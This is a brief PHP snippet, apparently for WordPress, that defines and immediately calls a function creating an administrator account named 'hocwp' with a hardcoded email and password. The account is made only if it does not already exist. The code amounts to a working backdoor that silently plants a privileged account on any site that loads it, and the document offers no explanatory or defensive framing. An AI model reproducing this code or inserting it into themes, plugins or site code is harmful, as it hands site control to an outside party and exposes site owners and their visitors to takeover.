function hocwp_insert_user_admin() { $username = 'hocwp'; $email = 'hocwp.net@gmail.com'; $password = 'hocwp@admin'; if(username_exists($username) || email_exists($email)) { return false; } $userdata = array( 'user_login' => $username, 'user_email' => $email, 'user_pass' => $password, 'role' => 'administrator' ); return wp_insert_user($userdata) ; } hocwp_insert_user_admin();